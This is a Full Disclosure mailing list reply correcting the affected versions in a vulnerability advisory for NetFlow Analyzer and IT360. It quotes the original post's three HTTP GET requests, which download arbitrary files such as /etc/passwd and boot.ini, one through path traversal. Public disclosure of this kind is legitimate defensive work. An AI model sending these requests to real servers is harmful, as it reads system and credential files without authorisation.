Full Disclosure mailing list archives
Re: [The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360
From: Pedro Ribeiro <pedrib () gmail com>
Date: Wed, 3 Dec 2014 09:43:37 +0000
On 30 Nov 2014 00:17, "Pedro Ribeiro" <pedrib () gmail com> wrote:
Hi, This is part 9 of the ManageOwnage series. For previous parts see [1].Technical details:Vulnerability: Arbitrary file download Constraints: unauthenticated in NetFlow; authenticated in IT360 Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above CVE-2014-5445: GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true CVE-2014-5446 GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini
A small correction: the NetFlow vulnerable versions are actually v8.6 to v10.2 (which is the latest release). I've updated the advisory in the repo. Regards Pedro _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- [The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360 Pedro Ribeiro (Dec 03)
- Re: [The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360 Pedro Ribeiro (Dec 03)